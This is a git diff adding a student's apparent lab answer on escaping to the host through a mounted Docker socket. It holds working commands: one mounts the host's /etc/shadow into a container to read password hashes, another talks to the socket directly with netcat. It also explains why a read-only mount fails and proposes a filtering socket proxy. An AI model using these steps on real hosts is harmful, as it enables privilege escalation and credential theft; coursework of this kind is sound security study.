diff --git a/sheet08/a2.txt b/sheet08/a2.txt
new file mode 100644
index 0000000..b940b9a
--- /dev/null
+++ b/sheet08/a2.txt
@@ -0,0 +1,46 @@
+a.)
+
+I installed the docker images using the following commands:
+
+curl http://10.42.23.1/docker/docker-cli.tar.gz | docker load
+curl http://10.42.23.1/docker/alpine.tar.gz | docker load
+curl http://10.42.23.1/docker/cacao.tar.gz | docker load
+
+Then checked they exist: docker image ls
+
+b.)
+
+I first started the CLI container:
+
+docker run --rm -v /var/run/docker.sock:/var/run/docker.sock -it docker:cli
+
+When having access to this socket, you can just use all of the things Docker has available from the root system as well, so I can also mount any path from the host system directly into a new container I can just create there.
+
+So to read /etc/hostname and /etc/shadow, I just did the following when inside the docker:cli container:
+
+docker run --rm -v /etc/hostname:/etc/hostname -v /etc/shadow:/etc/shadow -it alpine
+
+Using a simple `cat /etc/hostname && cat /etc/shadow` both of the files are printed.
+
+c.)
+
+The exploit still works like normal. This makes perfect sense as we only really need to open a connection with the socket, which is just requires a read operation (from the file system). This does not mean we restrict the connection to read-only Docker operations since Docker doesn't know about the file system permissions. Tagging the volume with :ro only means we can't do anything to change /var/run/docker.sock, but nothing else. Creating any containers still works like normal.
+
+d.)
+
+Yes, quite a few actually. And the best one is probably to use a proxy for the Docker socket. The idea is to basically, since the Docker socket is just a HTTP server accepting connections (simplified), to create a HTTP server pretending to be the Docker socket and forwarding all requests sent to it to the Docker socket. This however allows filtering of the requests allowing you to, for example, prevent container creations or other destructive operations from happening.
+
+e.)
+
+The docker CLI is only a tool to interact with the Docker socket. You can still just send a normal request to the socket avoiding the CLI completely in the first place.
+
+After some googling I figured out I needed to just send a requests to /containers/json. Since netcat can just open unix sockets using the "local:" prefix, I was able to use the following command to connect to the Docker socket:
+
+nc local:/var/run/docker.sock
+
+Now you can just type in the following HTTP request:
+
+GET /containers/json HTTP/1.1
+Host: localhost
+
+And you'll get a complete list of all the containers in JSON.